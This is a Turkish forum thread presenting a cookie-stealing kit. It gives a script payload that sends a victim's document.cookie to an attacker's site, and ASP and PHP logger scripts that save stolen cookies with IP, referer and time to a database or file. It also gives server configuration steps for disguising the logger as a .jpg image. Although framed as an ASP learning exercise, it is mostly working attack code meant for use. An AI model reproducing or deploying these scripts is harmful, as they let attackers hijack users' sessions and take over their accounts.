Cookie Calmak Ve Db Yazdirma Alistirmalari
-
http://www.elifshpk.com/testerwwf/cookiehack.asp.jpg
seklinde bir asp dosyasi olusturmamiz lazim. [jpg yi asp olarak tanitmaniz lazim spyMaster bu konuda bir dokumani waerdi.]
cookiehack.asp.jpg'nin kaynak kodu
-----------------------------------
<script>
document.location='http://elifshpk.com/testerwwf/cookielogs. asp?'+escape(document.cookie)
</script>
-----------------------------------
cookielogs.asp'nin kaynak kodu:
-----------------------------------
<%
Dbmiz = Server.MapPath("logdb.mdb")
Set Baglan = Server.CreateObject("ADODB.Connection")
Baglan.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Dbmiz
Set rsCommon = Server.CreateObject("ADODB.Recordset")
strSql = "SELECT * FROM kayid"
rsCommon.Open strSql,Baglan,1,3
Function UrlCookieOku(Kod)
'************************************************
'* Url&Cookie 2 Dec By BeyazSeytan//SheyTaNi999
'* Msn&Mail&Gtalk : BeyazSeytan@gmail.com
'************************************************
Kod = Replace(Kod,"+"," ", 1, -1, 1)
Kod = Replace(Kod,"%22","""", 1, -1, 1)
Kod = Replace(Kod,"%E9","é", 1, -1, 1)
Kod = Replace(Kod,"%21","!", 1, -1, 1)
Kod = Replace(Kod,"%27","'", 1, -1, 1)
Kod = Replace(Kod,"%5E","^", 1, -1, 1)
Kod = Replace(Kod,"%2B","+", 1, -1, 1)
Kod = Replace(Kod,"%25","%", 1, -1, 1)
Kod = Replace(Kod,"%26","&", 1, -1, 1)
Kod = Replace(Kod,"%2F","/", 1, -1, 1)
Kod = Replace(Kod,"%28","(", 1, -1, 1)
Kod = Replace(Kod,"%29",")", 1, -1, 1)
Kod = Replace(Kod,"%3D","=", 1, -1, 1)
Kod = Replace(Kod,"%3F","?", 1, -1, 1)
Kod = Replace(Kod,"%5F","_", 1, -1, 1)
Kod = Replace(Kod,"%3B",";", 1, -1, 1)
Kod = Replace(Kod,"%3A",":", 1, -1, 1)
Kod = Replace(Kod,"%3C","<", 1, -1, 1)
Kod = Replace(Kod,"%3E",">", 1, -1, 1)
Kod = Replace(Kod,"%7C","|", 1, -1, 1)
Kod = Replace(Kod,"%40","@", 1, -1, 1)
Kod = Replace(Kod,"%E6","æ", 1, -1, 1)
Kod = Replace(Kod,"%80","€", 1, -1, 1)
Kod = Replace(Kod,"%DF","ß", 1, -1, 1)
Kod = Replace(Kod,"%A8","¨", 1, -1, 1)
Kod = Replace(Kod,"%7E","~", 1, -1, 1)
Kod = Replace(Kod,"%B4","´", 1, -1, 1)
Kod = Replace(Kod,"%2E",".", 1, -1, 1)
Kod = Replace(Kod,"%DD","İ", 1, -1, 1)
Kod = Replace(Kod,"%FD","ı", 1, -1, 1)
Kod = Replace(Kod,"%DD","İ", 1, -1, 1)
Kod = Replace(Kod,"%FC","ü", 1, -1, 1)
Kod = Replace(Kod,"%DC","ü", 1, -1, 1)
Kod = Replace(Kod,"%F0","ğ", 1, -1, 1)
Kod = Replace(Kod,"%D0","ğ", 1, -1, 1)
Kod = Replace(Kod,"%FE","ş", 1, -1, 1)
Kod = Replace(Kod,"%DE","ş", 1, -1, 1)
Kod = Replace(Kod,"%E7","ç", 1, -1, 1)
Kod = Replace(Kod,"%C7","ç", 1, -1, 1)
Kod = Replace(Kod,"%F6","ö", 1, -1, 1)
Kod = Replace(Kod,"%D6","ö", 1, -1, 1)
Kod = Replace(Kod,"%A3","£", 1, -1, 1)
Kod = Replace(Kod,"%23","#", 1, -1, 1)
Kod = Replace(Kod,"%24","$", 1, -1, 1)
Kod = Replace(Kod,"%BD","½", 1, -1, 1)
Kod = Replace(Kod,"%7B","{", 1, -1, 1)
Kod = Replace(Kod,"%5B","[", 1, -1, 1)
Kod = Replace(Kod,"%5D","]", 1, -1, 1)
Kod = Replace(Kod,"%7D","}", 1, -1, 1)
Kod = Replace(Kod,"%5C","\", 1, -1, 1)
Kod = Replace(Kod,"%7C","|", 1, -1, 1)
Kod = Replace(Kod,"%60","`", 1, -1, 1)
Kod = Replace(Kod,"%2C",",", 1, -1, 1)
Kod = Replace(Kod,"%2D","-", 1, -1, 1)
Kod = Replace(Kod,"%2A","*", 1, -1, 1)
Kod = Replace(Kod,"%0D%0A",vbCrLf, 1, -1, 1)
Kod = Replace(Kod,"%20",vbCrLf, 1, -1, 1)
UrlCookieOku = Kod
End Function
rsCommon.Addnew
rsCommon("NeZaman") = now()
rsCommon("kayit") = UrlCookieOku(Request.ServerVariables("Query_string"))
rsCommon.Update
response.redirect "http://www.elifshpk.com/testerwwf/adsız.gif"
%>
-----------------------------------
logdb.mdb isimli db de tek tablo waer.
tablo:kayid
sutun:kayit(Not),NeZaman(Tarih/Saat)
Amac : ASP ile Cookie calmak & bunlari Db ye kaydetmek. Ayni zamanda querystring okumayi ogrenmek ve db islemlerine alismak.Alinti değildir....
-
phpnin ini dosyası war orada tanımlanan uzantılar var ordan yapabilirsin...
-
<%
referer = Request.ServerVariables("HTTP_REFERER")
remote = Request.ServerVariables("REMOTE_ADDR")
query = Request.ServerVariables("Query_String")
Set vt= Server.CreateObject("ADODB.Connection")
vt.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("data.mdb")
set rs= Server.CreateObject("ADODB.Recordset")
Sor = "Select * from tbllogger"
rs.open sor,vt,1,3
rs.addnew
rs("remote")=remote
rs("referer")=referer
rs("query")=query
rs.update
rs.close
set rs=nothing
vt.close
set vt=nothing
%>nerden gelmiş vs.. bunlarıda alalım yarım kalmasın işimiz :)
<!-- #include file="resim.gif" --> dersek resim çıkar (ir2) dediiydi.
en temizi bu iş için php =)
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?> -
o dediğin olay php.ini de yapılmıyor antikky apache serverın ayarlamalarıyla ilgili. apacheye ayar çekmen gerekiyor şu uzantılı dosyaları php olarak yorumla diye.
apachenin httpd.conf dosyası içinde
AddType application/x-httpd-php .php
boyle bir satır var buna .jpg de eklersek jpg dosyalarını da php olarak yorumlayacaktır. Ancak bu gereksiz hostunuzda deneme.jpg diye bir klasor olusturun içine index.php yi atın işlemleri yapın sonra yukardaki ornekler gibi location kullanarak resime yonlendirin. sitelere link vermek için se img src=www.hostunuz/deneme.jpg/ seklinde vermelisiniz sonunda / olacak :)) -
php de =
Apache için
Apache kurduğunuz klasore girip ordan conf klasorune httpd isimli dosyayı açıp AddType application/x-httpd-php3 .phtml .php3 .php satırını bularak sonuna .jpg eklemek.Burada php yi temsil edecek uzantıları seçiyorsunuz ve .jpg uzantısınıda php emrine vermiş oluyorsunuz
IIS de bu işlemi
Başlat/çalıştır/regedit e girerek HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC/P arameters/ScriptMap bölümüne girip düzen menüsünden yeni dize değerine tıklayın daha sonra yeni değer e çift tıklayıp .jpg yazın işte IIS de de jpg uzantıyı php emrine vermiş olduk.Rawkmetal resim ciksin die zaten en alta response.redirect ile browsera url değisikliği bildiriyorum. senin dediğin asp kodu tam calismaz nie dersen bunun referiri cookiehack.asp.jpg dosyasini gosteriyor o yuzden bende hic ugrasmadim onlari yazmak ile.
Ayrica yazdiğim fonksiyon esitlemeleri bizim anlayacağimiz sekle sokuyor yani o kod = filan goremezsin anca cookie editor ile okuya bilirsin ama benim kinde ise direk normal olarak kodlari cikartacaktir cunku mux lanmis karakterler replace ile demux islemine tabi tutuluyor ben zaten mantik anlasilsin millete asp yi sevdiriyim die dokuman seklinde yazdim.milet asp ile cookie calinamiyor php caliyor filan diyordu zaten onlara cwp amacli yani
